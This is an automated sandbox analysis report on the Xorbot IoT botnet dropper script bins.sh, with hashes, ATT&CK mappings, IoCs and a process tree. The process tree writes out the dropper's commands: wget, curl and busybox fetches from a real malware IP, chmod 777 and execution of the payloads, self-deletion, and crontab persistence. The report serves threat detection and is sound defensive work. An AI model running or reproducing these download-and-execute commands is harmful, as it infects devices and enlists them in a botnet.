xorbot | 52f7f07396b6180fd504954ac793b89a944ac47e96a115af4d26991dbf53d565

Analysis

max time kernel
151s
max time network
91s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
03-12-2024 18:39

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General

Target

bins.sh
Size

10KB
MD5

a8c7d8298c6f6d498de1b4c9b6887ce5
SHA1

1e64194eff12a4a67a5b19507930b27f08b02a3e
SHA256

52f7f07396b6180fd504954ac793b89a944ac47e96a115af4d26991dbf53d565
SHA512

16b08d2b1e6b93498263fd2262874a04925d799aa5f2723a4fb1543df3631efafd28107bde398a471642c1e76d874849070357266738771338e3c26a93c336f5
SSDEEP

96:6usWuUVx7H4i77jrkYv8G2mD303SE8a7jrkYvqlG2mD3ZGzDivsWuUVxqKRO:6usWuUVxr4iwG2mD3NG2mD3UWuUVx2

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral3/files/fstream-1.dat	family_xorbot
behavioral3/files/fstream-3.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmodchmod

pid	Process
744	chmod
730	chmod
737	chmod

Executes dropped EXE 3 IoCs

Processes:

qVkxb7JDLvvG3gVE3pYdkB7zJOJMeADiwFOMSm5AS8qVnKq3ZaBKSm3BskifQ9JCWjaej6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h

ioc	pid	Process
/tmp/qVkxb7JDLvvG3gVE3pYdkB7zJOJMeADiwF	731	qVkxb7JDLvvG3gVE3pYdkB7zJOJMeADiwF
/tmp/OMSm5AS8qVnKq3ZaBKSm3BskifQ9JCWjae	738	OMSm5AS8qVnKq3ZaBKSm3BskifQ9JCWjae
/tmp/j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h	745	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h

Renames itself 1 IoCs

Processes:

j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h

pid	Process
746	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.QeFgDn	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h

description	ioc	Process
File opened for reading	/proc/675/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/830/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/22/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/224/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/373/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/458/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/706/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/783/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/10/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/67/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/385/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/18/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/806/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/768/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/834/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/19/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/24/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/316/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/755/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/822/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/5/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/790/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/794/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/452/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/695/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/23/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/76/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/352/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/820/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/6/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/11/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/791/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/813/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/72/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/752/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/780/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/797/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/829/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/832/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/74/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/394/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/766/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/70/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/147/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/112/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/789/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/16/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/17/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/81/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/14/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/37/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/3/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/8/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/13/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/756/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/761/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/9/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/104/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/372/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/828/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/487/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/821/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/823/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
File opened for reading	/proc/779/cmdline	j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h

Writes file to tmp directory 9 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetbusyboxcurlbusyboxwgetbusyboxcurlwgetcurl

description	ioc	Process
File opened for modification	/tmp/OMSm5AS8qVnKq3ZaBKSm3BskifQ9JCWjae	wget
File opened for modification	/tmp/OMSm5AS8qVnKq3ZaBKSm3BskifQ9JCWjae	busybox
File opened for modification	/tmp/j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h	curl
File opened for modification	/tmp/j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h	busybox
File opened for modification	/tmp/qVkxb7JDLvvG3gVE3pYdkB7zJOJMeADiwF	wget
File opened for modification	/tmp/qVkxb7JDLvvG3gVE3pYdkB7zJOJMeADiwF	busybox
File opened for modification	/tmp/OMSm5AS8qVnKq3ZaBKSm3BskifQ9JCWjae	curl
File opened for modification	/tmp/j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h	wget
File opened for modification	/tmp/qVkxb7JDLvvG3gVE3pYdkB7zJOJMeADiwF	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:698
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:705
- /usr/bin/wget
  wget http://216.126.231.240/bins/qVkxb7JDLvvG3gVE3pYdkB7zJOJMeADiwF
  2⤵
  - Writes file to tmp directory
  PID:707
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/qVkxb7JDLvvG3gVE3pYdkB7zJOJMeADiwF
  2⤵
  - Writes file to tmp directory
  PID:721
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/qVkxb7JDLvvG3gVE3pYdkB7zJOJMeADiwF
  2⤵
  - Writes file to tmp directory
  PID:728
- /bin/chmod
  chmod 777 qVkxb7JDLvvG3gVE3pYdkB7zJOJMeADiwF
  2⤵
  - File and Directory Permissions Modification
  PID:730
- /tmp/qVkxb7JDLvvG3gVE3pYdkB7zJOJMeADiwF
  ./qVkxb7JDLvvG3gVE3pYdkB7zJOJMeADiwF
  2⤵
  - Executes dropped EXE
  PID:731
- /bin/rm
  rm qVkxb7JDLvvG3gVE3pYdkB7zJOJMeADiwF
  2⤵
  PID:733
- /usr/bin/wget
  wget http://216.126.231.240/bins/OMSm5AS8qVnKq3ZaBKSm3BskifQ9JCWjae
  2⤵
  - Writes file to tmp directory
  PID:734
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/OMSm5AS8qVnKq3ZaBKSm3BskifQ9JCWjae
  2⤵
  - Writes file to tmp directory
  PID:735
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/OMSm5AS8qVnKq3ZaBKSm3BskifQ9JCWjae
  2⤵
  - Writes file to tmp directory
  PID:736
- /bin/chmod
  chmod 777 OMSm5AS8qVnKq3ZaBKSm3BskifQ9JCWjae
  2⤵
  - File and Directory Permissions Modification
  PID:737
- /tmp/OMSm5AS8qVnKq3ZaBKSm3BskifQ9JCWjae
  ./OMSm5AS8qVnKq3ZaBKSm3BskifQ9JCWjae
  2⤵
  - Executes dropped EXE
  PID:738
- /bin/rm
  rm OMSm5AS8qVnKq3ZaBKSm3BskifQ9JCWjae
  2⤵
  PID:740
- /usr/bin/wget
  wget http://216.126.231.240/bins/j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
  2⤵
  - Writes file to tmp directory
  PID:741
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
  2⤵
  - Writes file to tmp directory
  PID:742
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
  2⤵
  - Writes file to tmp directory
  PID:743
- /bin/chmod
  chmod 777 j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
  2⤵
  - File and Directory Permissions Modification
  PID:744
- /tmp/j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
  ./j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:745
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:747
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:748
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:749
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:750
- /bin/rm
  rm j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
  2⤵
  PID:752
- /usr/bin/wget
  wget http://216.126.231.240/bins/doPZ0I85TF280cMGasF7ainzkhkMKLFBoP
  2⤵
  PID:755
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/doPZ0I85TF280cMGasF7ainzkhkMKLFBoP
  2⤵
  PID:756

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/OMSm5AS8qVnKq3ZaBKSm3BskifQ9JCWjae

Filesize
127KB

MD5
89077b7bd4bcafca7713be43635c4862

SHA1
fc02edb8fba29ea8ee99e6157ef8560334530052

SHA256
78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

SHA512
1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

Download Submit
/tmp/j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/tmp/qVkxb7JDLvvG3gVE3pYdkB7zJOJMeADiwF

Filesize
111KB

MD5
701e7a55a4f3650f5feee92a9860e5fc

SHA1
6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

SHA256
ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

SHA512
7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

Download Submit
/var/spool/cron/crontabs/tmp.QeFgDn

Filesize
210B

MD5
d9ce2aa9fc5747af5b67571234db4a09

SHA1
3896b78afe5c672a39774fda62ffd3f48b2aa624

SHA256
eeb3a83deebf8d99798c4552b22a9de9022fc70fdb039391eafe88636282fe7d

SHA512
21389429825604f246c48e6faff70bf006c180232a5ce271da95afb7afa068f8367d69f5d9e4a660a7f9708a29b6cced858a565c77ed8da15b7dfe0e3d94e979

Download Submit